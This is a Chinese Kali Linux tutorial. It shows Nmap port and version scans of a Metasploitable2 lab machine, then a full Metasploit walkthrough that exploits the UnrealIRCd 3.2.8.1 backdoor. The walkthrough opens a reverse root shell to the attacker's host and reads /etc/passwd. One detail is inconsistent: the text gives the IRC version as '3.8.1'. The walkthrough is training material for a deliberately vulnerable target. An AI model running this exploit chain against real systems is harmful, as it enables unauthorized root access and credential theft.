Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap

网络扫描和嗅探工具——Nmap

Nmap也就网络映射器(Network Mapper),是一个免费开放的网络扫描和嗅探工具。该工具可以扫描主机是否在线、所开放的端口号、提供的网络服务及操作系统类型等。本节将介绍Nmap工具的使用。在使用Nmap工具之前,首先需要了解它的几种扫描类型。Nmap主要的扫描类型如表4-1所示。

表4-1  Nmap扫描类型

 

【实例4-1】使用nmap工具扫描目标主机192.168.6.105的端口号。执行命令如下所示:

  • root@kali:~# nmap -sS -Pn 192.168.6.105
  • Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-16 09:25 CST
  • Nmap scan report for 192.168.6.105
  • Host is up (0.00014s latency).
  • Not shown: 977 closed ports
  • PORT     STATE SERVICE
  • 21/tcp   open  ftp
  • 22/tcp   open  ssh
  • 23/tcp   open  telnet
  • 25/tcp   open  smtp
  • 53/tcp   open  domain
  • 80/tcp   open  http
  • 111/tcp  open  rpcbind
  • 139/tcp  open  netbios-ssn
  • 445/tcp  open  microsoft-ds
  • 512/tcp  open  exec
  • 513/tcp  open  login
  • 514/tcp  open  shell
  • 1099/tcp open  rmiregistry
  • 1524/tcp open  ingreslock
  • 2049/tcp open  nfs
  • 2121/tcp open  ccproxy-ftp
  • 3306/tcp open  mysql
  • 5432/tcp open  postgresql
  • 5900/tcp open  vnc
  • 6000/tcp open  X11
  • 6667/tcp open  irc
  • 8009/tcp open  ajp13
  • 8180/tcp open  unknown
  • MAC Address: 00:0C:29:13:E0:3D (VMware)
  • Nmap done: 1 IP address (1 host up) scanned in 0.48 seconds

以上输出信息显示了,目标主机192.168.6.105上开放的所有端口号及目标主机的信息,如目标主机的MAC地址、扫描共用了0.48秒。在以上命令中,-sS选项表示使用TCP SYN扫描;-Pn选项表示不进行ping扫描。这里使用TCP SYN扫描,是因为这种方式扫描速度非常快,并且不容易被目标主机发现。

如果用户想查看目标主机的所有启动服务及服务版本,可以指定Nmap工具的-A选项来实现。

【实例4-2】扫描目标主机192.168.6.105上所有的端口号和服务版本。执行命令如下所示:

  • root@kali:~# nmap -sS -Pn -A 192.168.6.105
  • Starting Nmap 6.46 ( http://nmap.org ) at 2014-07-16 09:25 CST
  • Nmap scan report for 192.168.6.105
  • Host is up (0.00035s latency).
  • Not shown: 977 closed ports
  • PORT       STATE SERVICE    VERSION
  • 21/tcp              open  ftp           vsftpd 2.3.4
  • |_ftp-anon: Anonymous FTP login allowed (FTP code 230)
  • 22/tcp              open  ssh                  OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
  • | ssh-hostkey:
  • |   1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
  • |_  2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
  • 23/tcp                open  telnet         Linux telnetd
  • 25/tcp                open  smtp         Postfix smtpd
  • |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
  • | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX
  • | Not valid before: 2010-03-17T14:07:45+00:00
  • |_Not valid after:  2010-04-16T14:07:45+00:00
  • |_ssl-date: 2014-07-09T06:59:06+00:00; -6d18h27m07s from local time.
  • 53/tcp               open  domain              ISC BIND 9.4.2
  • | dns-nsid:
  • |_  bind.version: 9.4.2
  • 80/tcp               open  http          Apache httpd 2.2.8 ((Ubuntu) DAV/2)
  • |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
  • |_http-title: Metasploitable2 – Linux
  • ……
  • 6667/tcp           open  irc                    Unreal ircd
  • | irc-info:
  • |   server: irc.Metasploitable.LAN
  • |   version: Unreal3.2.8.1. irc.Metasploitable.LAN
  • |   servers: 1
  • |   users: 1
  • |   lservers: 0
  • |   lusers: 1
  • |   uptime: 0 days, 20:28:27
  • |   source host: 45DFBD5E.E9742FE6.FFFA6D49.IP
  • |_  source ident: nmap
  • 8009/tcp           open  ajp13                         Apache Jserv (Protocol v1.3)
  • |_ajp-methods: Failed to get a valid response for the OPTION request
  • 8180/tcp           open  http                   Apache Tomcat/Coyote JSP engine 1.1
  • |_http-favicon: Apache Tomcat
  • |_http-methods: No Allow or Public header in OPTIONS response (status code 200)
  • |_http-title: Apache Tomcat/5.5
  • MAC Address: 00:0C:29:13:E0:3D (VMware)
  • Device type: general purpose
  • Running: Linux 2.6.X
  • OS CPE: cpe:/o:linux:linux_kernel:2.6
  • OS details: Linux 2.6.9 - 2.6.33
  • Network Distance: 1 hop
  • Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
  • Host script results:
  • |_nbstat: NetBIOS name: METASPLOITABLE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
  • | smb-os-discovery:
  • |   OS: Unix (Samba 3.0.20-Debian)
  • |   NetBIOS computer name:
  • |   Workgroup: WORKGROUP
  • |_  System time: 2014-07-09T02:59:06-04:00
  • TRACEROUTE
  • HOP RTT     ADDRESS
  • 1   0.35 ms 192.168.6.105
  • OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
  • Nmap done: 1 IP address (1 host up) scanned in 25.58 seconds

从输出的信息中,可以看到目标主机上所启动的服务及服务软件版本。例如Unreal Internet Relay Chat(IRC)服务,它的版本是3.8.1。用户可以通过获取到服务的版本,进行攻击主机。下面将会以例子的形式介绍通过服务版本,攻击主机的方法。

【实例4-3】在MSF终端实现渗透攻击Unreal IRC服务。本例中选择使用Metasploit 2系统作为攻击目标,其地址为192.168.6.105。具体操作步骤如下所示:

(1)启动MSF终端。执行命令如下所示:

  • root@kali:~# msfconsole
  • msf>

执行以上命令后,看到msf>提示符表示已成功登录MSF终端。

(2)查询Unreal 3.2.8.1可利用的模块。执行命令如下所示:

  • msf > search Unreal 3.2.8.1
  • Matching Modules
  • ================
  • Name                                    Disclosure Date      Rank            Description
  • ----                                        ---------------        ---------------     ---------------------------
  • exploit/linux/games/ut2004_secure                  2004-06-18           good             Unreal Tournament 2004 "secure" Overflow (Linux)
  • exploit/unix/irc/unreal_ircd_3281_backdoor        2010-06-12             excellent                   UnrealIRCD 3.2.8.1 Backdoor Command Execution
  • exploit/windows/games/ut2004_secure         2004-06-18           good              Unreal Tournament 2004 "secure" Overflow (Win32)

从输出的信息中,可以看到有三个可利用的模块。本例中选择使用unreal_ircd_3281_backdoor模块,该模块的级别非常好。

(3)查看unreal_ircd_3281_backdoor模块,可渗透攻击的详细信息。执行命令如下所示:

  • msf > info exploit/unix/irc/unreal_ircd_3281_backdoor
  • Name:     UnrealIRCD 3.2.8.1 Backdoor Command Execution
  • Module:   exploit/unix/irc/unreal_ircd_3281_backdoor
  • Platform:          Unix
  • Privileged: No
  • License: Metasploit Framework License (BSD)
  • Rank: Excellent
  • Provided by:
  • hdm <hdm@metasploit.com>
  • Available targets:
  • Id  Name
  • --  ----
  • 0   Automatic Target
  • Basic options:
  • Name   Current Setting  Required  Description
  • ----   ---------------  --------  -----------
  • RHOST                   yes       The target address
  • RPORT  6667             yes       The target port
  • Payload information:
  • Space: 1024
  • Description:
  • This module exploits a malicious backdoor that was added to the
  • Unreal IRCD 3.2.8.1 download archive. This backdoor was present in
  • the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th
  • 2010.
  • References:
  • http://cvedetails.com/cve/2010-2075/
  • http://www.osvdb.org/65445
  • http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt

从输出的信息中,可以看到关于unreal_ircd_3281_backdoor模块的详细信息。其中,包括模块支持的平台、权限、提供商、基本选项设置及描述信息等。

(4)选择使用unreal_ircd_3281_backdoor模块,并查看该模块可配置的选项参数。执行命令如下所示:

  • msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
  • msf exploit(unreal_ircd_3281_backdoor) > show options
  • Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
  • Name   Current Setting  Required  Description
  • ----   ---------------  --------  -----------
  • RHOST                   yes       The target address
  • RPORT  6667             yes       The target port
  • Exploit target:
  • Id  Name
  • --  ----
  • 0   Automatic Target

从输出信息中,可以看到有两个必须配置的选项参数。其中RPORT选项已经配置,接下来还需要配置RHOST选项。

(5)配置RHOST选项参数。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.6.105
  • RHOST => 192.168.6.105

从输出信息中,可以看到使用目标主机的地址为192.168.6.105。

(6)查看所有可利用的攻击载荷。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > show payloads
  • Compatible Payloads
  • ===================
  • Name                         Disclosure Date   Rank    Description
  • ------------------------------------      ------------------------ ------------- -----------------
  • cmd/unix/bind_perl                                                           normal  Unix Command Shell, Bind TCP (via Perl)
  • cmd/unix/bind_perl_ipv6                                                      normal  Unix Command Shell, Bind TCP (via perl) IPv6
  • cmd/unix/bind_ruby                                                normal  Unix Command Shell, Bind TCP (via Ruby)
  • cmd/unix/bind_ruby_ipv6                                             normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
  • cmd/unix/generic                                                     normal  Unix Command, Generic Command Execution
  • cmd/unix/reverse                                                             normal  Unix Command Shell, Double Reverse TCP (telnet)
  • cmd/unix/reverse_perl                                                normal  Unix Command Shell, Reverse TCP (via Perl)
  • cmd/unix/reverse_perl_ssl                                                    normal  Unix Command Shell, Reverse TCP SSL (via perl)
  • cmd/unix/reverse_ruby                                                       normal  Unix Command Shell, Reverse TCP (via Ruby)
  • cmd/unix/reverse_ruby_ssl                                          normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
  • cmd/unix/reverse_ssl_double_telnet                                      normal  Unix Command Shell, Double Reverse TCP SSL (telnet)

输出的信息显示了,在unreal_ircd_3281_backdoor模块中可加载的攻击载荷。从输出模块的描述信息,可以看到这些攻击载荷都是命令行Shell。这样就不能进入Meterpreter shell了,而且现在只能使用反Shell。当成功攻击目标主机后,在终端Shell的权限也会降低。

(7)使用反Shell,攻击目标主机。选择加载reverse攻击载荷,并查看该载荷下可配置的选项参数。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse
  • payload => cmd/unix/reverse
  • msf exploit(unreal_ircd_3281_backdoor) > show options
  • Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
  • Name   Current Setting  Required  Description
  • ----   ---------------  --------  -----------
  • RHOST  192.168.6.105    yes       The target address
  • RPORT  6667             yes       The target port
  • Payload options (cmd/unix/reverse):
  • Name   Current Setting  Required  Description
  • ----   ---------------  --------  -----------
  • LHOST                   yes       The listen address
  • LPORT  4444             yes       The listen port
  • Exploit target:
  • Id  Name
  • --  ----
  • 0   Automatic Target

从输出的结果中,可以看到LHOST选项参数未配置。

(8)配置LHOST选项参数。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > set LHOST 192.168.6.103
  • LHOST => 192.168.6.103

执行以上命令后,再次查看所有选项参数的配置情况。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > show options
  • Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):
  • Name   Current Setting  Required  Description
  • ----   ---------------  --------  -----------
  • RHOST  192.168.6.105    yes       The target address
  • RPORT  6667             yes       The target port
  • Payload options (cmd/unix/reverse):
  • Name   Current Setting  Required  Description
  • ----   ---------------  --------  -----------
  • LHOST  192.168.6.103    yes       The listen address
  • LPORT  4444             yes       The listen port
  • Exploit target:
  • Id  Name
  • --  ----
  • 0   Automatic Target

从输出的信息中,可以看到所有选项都以配置。接下来就可以进行攻击了。

(9)启动渗透攻击。执行命令如下所示:

  • msf exploit(unreal_ircd_3281_backdoor) > exploit
  • [*] Started reverse double handler
  • [*] Connected to 192.168.6.105:6667...
  • :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
  • [*] Sending backdoor command...
  • [*] Accepted the first client connection...
  • [*] Accepted the second client connection...
  • [*] Command: echo 4G58mrIzlfNG2zIm;
  • [*] Writing to socket A
  • [*] Writing to socket B
  • [*] Reading from sockets...
  • [*] Reading from socket B
  • [*] B: "4G58mrIzlfNG2zIm\r\n"
  • [*] Matching...
  • [*] A is input...
  • [*] Command shell session 1 opened (192.168.6.103:4444 -> 192.168.6.105:53656) at 2014-07-16 09:34:05 +0800

从输出的信息中,可以看到成功打开了一个会话。但是没有进入任何Shell的提示符,只有一个闪烁的光标。这表示连接到目标主机的一个终端Shell,此时可以执行任何标准的Linux命令。例如,查看目标系统当前登录的用户名,执行命令如下所示:

  • whoami

执行以上命令后,将显示如下所示的信息:

  • root

从输出的信息可以看到当前登录的用户是超级用户root。

如想查看目标系统的密码文件,执行命令如下所示:

  • cat /etc/passwd
  • root:x:0:0:root:/root:/bin/bash
  • daemon:x:1:1:daemon:/usr/sbin:/bin/sh
  • bin:x:2:2:bin:/bin:/bin/sh
  • sys:x:3:3:sys:/dev:/bin/sh
  • sync:x:4:65534:sync:/bin:/bin/sync
  • games:x:5:60:games:/usr/games:/bin/sh
  • man:x:6:12:man:/var/cache/man:/bin/sh
  • lp:x:7:7:lp:/var/spool/lpd:/bin/sh
  • mail:x:8:8:mail:/var/mail:/bin/sh
  • news:x:9:9:news:/var/spool/news:/bin/sh
  • uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
  • proxy:x:13:13:proxy:/bin:/bin/sh
  • www-data:x:33:33:www-data:/var/www:/bin/sh
  • backup:x:34:34:backup:/var/backups:/bin/sh
  • list:x:38:38:Mailing List Manager:/var/list:/bin/sh
  • irc:x:39:39:ircd:/var/run/ircd:/bin/sh
  • gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
  • nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
  • libuuid:x:100:101::/var/lib/libuuid:/bin/sh
  • dhcp:x:101:102::/nonexistent:/bin/false
  • syslog:x:102:103::/home/syslog:/bin/false
  • klog:x:103:104::/home/klog:/bin/false
  • sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
  • msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
  • bind:x:105:113::/var/cache/bind:/bin/false
  • postfix:x:106:115::/var/spool/postfix:/bin/false
  • ftp:x:107:65534::/home/ftp:/bin/false
  • postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
  • mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
  • tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
  • distccd:x:111:65534::/:/bin/false
  • user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
  • service:x:1002:1002:,,,:/home/service:/bin/bash
  • telnetd:x:112:120::/nonexistent:/bin/false
  • proftpd:x:113:65534::/var/run/proftpd:/bin/false
  • statd:x:114:65534::/var/lib/nfs:/bin/false
  • snmp:x:115:65534::/var/lib/snmp:/bin/false

输出信息显示了,目标系统中所有的用户信息。用户可以根据这些信息攻击目标主机上用户的密码。

本文选自:Kail Linux渗透测试实训手册大学霸内部资料,转载请注明出处,尊重技术尊重IT人!

Kail Linux渗透测试教程之网络扫描和嗅探工具Nmap的更多相关文章

  1. Kail Linux渗透测试教程之免杀Payload生成工具Veil

    Kail Linux渗透测试教程之免杀Payload生成工具Veil 免杀Payload生成工具——Veil Kail Linux渗透测试教程之免杀Payload生成工具Veil,Veil是一款利用M ...

  2. Kail Linux渗透测试教程之在Metasploit中扫描

    Kail Linux渗透测试教程之在Metasploit中扫描 在Metasploit中扫描 在Metasploit中,附带了大量的内置扫描器.使用这些扫描器可以搜索并获得来自一台计算机或一个完整网络 ...

  3. Kail Linux渗透测试教程之ARP侦查Netdiscover端口扫描Zenmap与黑暗搜索引擎Shodan

    Kail Linux渗透测试教程之ARP侦查Netdiscover端口扫描Zenmap与黑暗搜索引擎Shodan ARP侦查工具——Netdiscover Netdiscover是一个主动/被动的AR ...

  4. Kail Linux渗透测试教程之Recon-NG框架

    Kail Linux渗透测试教程之Recon-NG框架 信息收集 信息收集是网络攻击最重要的阶段之一.要想进行渗透攻击,就需要收集目标的各类信息.收集到的信息越多,攻击成功的概率也就越大.本章将介绍信 ...

  5. Kail Linux渗透测试培训手册3第二章信息采集

    Kail Linux渗透测试培训手册3第二章信息采集 信息收集是网络攻击中最重要的步骤之一.渗透攻击.我们需要收集各种信息目标.该信息收集.攻击成功的概率越大.介绍信息收集的相关工具.本文选自< ...

  6. kali linux 渗透测试视频教程 第五课 社会工程学工具集

    第五课 社会工程学工具集 文/玄魂 教程地址:http://edu.51cto.com/course/course_id-1887.html   目录 第五课社会工程学工具集 SET SET的社会工程 ...

  7. kali Linux 渗透测试 | ettercap图形界面(ARP 欺骗 + DNS欺骗)

    上次我们使用 arpspoof 工具在命令行中完成了 arp 欺骗实验,今天我们用另一种工具 ettercap 工具来实现.ettercap支持图形化操作,对新手非常友好,并且操作非常简单, ette ...

  8. Kali linux渗透测试常用工具汇总1

    1.ProxyChains 简介:代理工具.支持HTTP/SOCKS4/SOCK5的代理服务器,允许TCP/DNS通过代理隧道. 应用场景:通过代理服务器上网. 配置:/etc/proxychains ...

  9. kali Linux 渗透测试 | ARP 欺骗

    目录 ARP 欺骗及其原理 ARP 欺骗实施步骤 必备工具安装 nmap 工具 dsniff 工具 driftnet 工具 ettercap 工具 ARP 欺骗测试 ARP 断网攻击 ARP 欺骗(不 ...

随机推荐

  1. Spring Boot 使用IntelliJ IDEA创建一个web开发实例(二)

    1. 创建一个Controller类 package com.example.demo; import org.springframework.web.bind.annotation.RequestM ...

  2. python学习笔记(十二)之函数

    牛刀小试: 定义一个无参函数 >>> def myFirstFunc(): ... print("Hello python") ... print("h ...

  3. javaScript 中的一些日常用法总结

    从今天开始把开发中常用到的js语法 一一记录下来 方便以后复习回顾用: 1:对字符串进行替换 replace 以及 replaceAll replace : var begin_date =begin ...

  4. G6踩坑日记

    用G6去完成一整个图例的时候,当包裹它的容器满足不了包裹的需求时,我们就需要引入缩略图来解决问题了 缩略图使用方式很简单 引入插件配置就可以了 当我们使用多张图片进行绘图(G6支持使用图片进行构图,原 ...

  5. 利用PCA可视化异常点

    异常点往往是由于某一个特征或者多个特征数值异常.但是对于多维度特征无法直接进行可视化观测异常点,利用PCA技术进行维度缩减,可以在二维或者三维空间上进行可视化展示. 原数据如下: from sklea ...

  6. Mysql储存过程5: while

    循环结构 while create procedure name() begin while 条件 do SQL语句 end while; end$ create procedure aa6() be ...

  7. Java 序列化工具类

    import org.slf4j.Logger; import org.slf4j.LoggerFactory; import sun.misc.BASE64Decoder; import sun.m ...

  8. [ python ] 网络编程(1)

    在本地电脑上有两个python文件 regist.py .login.py 一个注册,一个登录.这两个python一个是写用户信息,一个是读用户信息,要怎么做呢? 通过之前的知识,我们可以通过 reg ...

  9. DB2:FETCH FIRST 1 ROWS ONLY

    DB2:FETCH FIRST ROWS ONLY,在Oracle中使用where rownum=1代替 DB2: SELECT INSTORAGENO FROM ( SELECT max(AUDIT ...

  10. Merge k Sorted Lists——分治与堆排序(需要好好看)

    Merge k sorted linked lists and return it as one sorted list. Analyze and describe its complexity. 1 ...